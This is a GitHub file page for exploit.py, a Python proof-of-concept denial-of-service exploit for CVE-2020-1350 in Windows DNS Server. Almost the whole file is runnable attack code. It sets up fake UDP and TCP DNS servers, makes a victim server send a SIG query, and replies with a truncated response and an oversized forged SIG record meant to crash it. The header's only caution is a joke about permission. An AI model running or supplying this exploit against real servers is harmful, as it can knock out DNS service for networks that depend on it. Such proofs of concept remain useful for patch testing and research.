-
Notifications
You must be signed in to change notification settings - Fork 3
/
exploit.py
executable file
·213 lines (166 loc) · 6.08 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
#!/usr/bin/env python3
####################################################################################################
# CVE-2020-1350 DoS PoC #
# Written by Zander Work (@captainGeech42) #
# Don't use this against systems w/o permission or else Microsoft will delete your System32 #
####################################################################################################
"""
Usage:
* set the DNS_SERVER_ADDR
* make sure nothing is listening on tcp/53 or udp/53 (i.e. systemd-resolved, netstat -uplant to check)
* sudo ./exploit.py [victim DNS server] [record]
might leave some open TCP sockets, idk why, if you fix it ping me on Twitter
"""
import socket
import struct
import sys
import time
import threading
import dns.resolver
DNS_SERVER_ADDR = ("192.168.117.40", 53)
def start_exploit(ip, req):
victim_resolver = dns.resolver.Resolver()
victim_resolver.nameservers = [ip]
# depending on how fast your exploit system is you may need to increase this
# if the UDP server doesn't get any connections
victim_resolver.timeout = 1
victim_resolver.lifetime = 1
print(f"making DNS SIG request to {ip}: {req}")
try:
victim_resolver.query(req, "SIG", raise_on_no_answer=False)
except dns.exception.Timeout:
pass
except dns.resolver.NoNameservers:
pass
def start_udp_server():
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(DNS_SERVER_ADDR)
while True:
print("UDP server waiting for connection")
data, addr = sock.recvfrom(4096)
print("got UDP connection from {0}:{1}".format(*addr))
# parse out DNS fields
transaction_id, flags = struct.unpack("!HH", data[:4])
# get query
query = b""
i = 12
while True:
size = data[i]
i += 1
if size == 0:
query += b"\x00"
break
query += bytes([size])
query += data[i:i+size]
i += size
query += data[i:i+4]
# build response
resp = b""
resp += struct.pack("!H", transaction_id)
resp += b"\x82\x00" # flags: response, truncated
resp += b"\x00\x01" # questions
resp += b"\x00\x00" # answer RRs
resp += b"\x00\x00" # authority RRs
resp += b"\x00\x00" # additional RRs
# query
resp += query
# send response
print(f"sending UDP response (len={len(resp)})")
sock.sendto(resp, addr)
sock.close()
break
def start_tcp_server():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(DNS_SERVER_ADDR)
sock.listen()
while True:
print("TCP server waiting for connection")
conn, addr = sock.accept()
print("got TCP connection from {0}:{1}".format(*addr))
data = conn.recv(1024)[2:] # skip the length field, we don't care
# parse out DNS fields
transaction_id, flags = struct.unpack("!HH", data[:4])
# get query
query = b""
i = 12
while True:
size = data[i]
i += 1
if size == 0:
query += b"\x00"
break
query += bytes([size])
query += data[i:i+size]
i += size
query += data[i:i+4]
# build RDATA for answer
# https://tools.ietf.org/html/rfc2535#section-4.1
sig_rdata = b""
sig_rdata += b"\x00\x01" # types covered (A)
sig_rdata += b"\x03" # algorithm (DSA)
sig_rdata += b"\x04" # labels
sig_rdata += struct.pack("!I", 0x3f) # original TTL
current_time = int(time.time())
year = 60*60*24*365
sig_rdata += struct.pack("!I", current_time+year) # signature expiration
sig_rdata += struct.pack("!I", current_time-year) # signature inception
sig_rdata += b"\x00\x00" # key tag, idk
# signer's name
sig_rdata += b"\xc0\x0d" # points to first char of query
# signature
offset = query[1] - (len(query)-1) - 36
assert(offset > 0)
sig_rdata += b"\x00"*(query[1]-(len(query)-1)-33) # offset to forged string
sig_rdata += b"\x00\x00" # padding
forged_string = 5 * (b"\x0f" + b"A"*0xf) # big string
sig_rdata += forged_string
sig_rdata += b"\x00"*(65465-len(query)-len(forged_string))
# answer
# https://tools.ietf.org/html/rfc1035#section-3.2
answer = b""
answer += b"\xc0\x0c" # query name
answer += b"\x00\x18" # type (SIG)
answer += b"\x00\x01" # class (IN)
answer += struct.pack("!I", 0x3f) # TTL, 63 (from google.com A)
answer += struct.pack("!H", len(sig_rdata))
# response header
resp = b""
resp += struct.pack("!H", transaction_id)
resp += b"\x80\x00" # flags: response
resp += b"\x00\x01" # questions
resp += b"\x00\x01" # answer RRs
resp += b"\x00\x00" # authority RRs
resp += b"\x00\x00" # additional RRs
# query
resp += query
# build final payload
payload = resp + answer + sig_rdata
to_send = struct.pack("!H", len(payload)) + payload
print(f"sending TCP response (len={len(to_send)})")
conn.sendall(to_send)
time.sleep(1)
conn.shutdown(socket.SHUT_RDWR)
conn.close()
break
sock.shutdown(socket.SHUT_RDWR)
sock.close()
def main(argv):
if len(argv) != 3:
print(f"usage: {argv[0]} [victim ip] [DNS record]")
return 1
victim = argv[1]
req = argv[2]
# start fake DNS servers
udp_thread = threading.Thread(target=start_udp_server)
udp_thread.daemon = True
udp_thread.start()
tcp_thread = threading.Thread(target=start_tcp_server)
tcp_thread.daemon = True
tcp_thread.start()
start_exploit(victim, req)
# wait for exit
udp_thread.join()
tcp_thread.join()
return 0
if __name__ == "__main__":
sys.exit(main(sys.argv))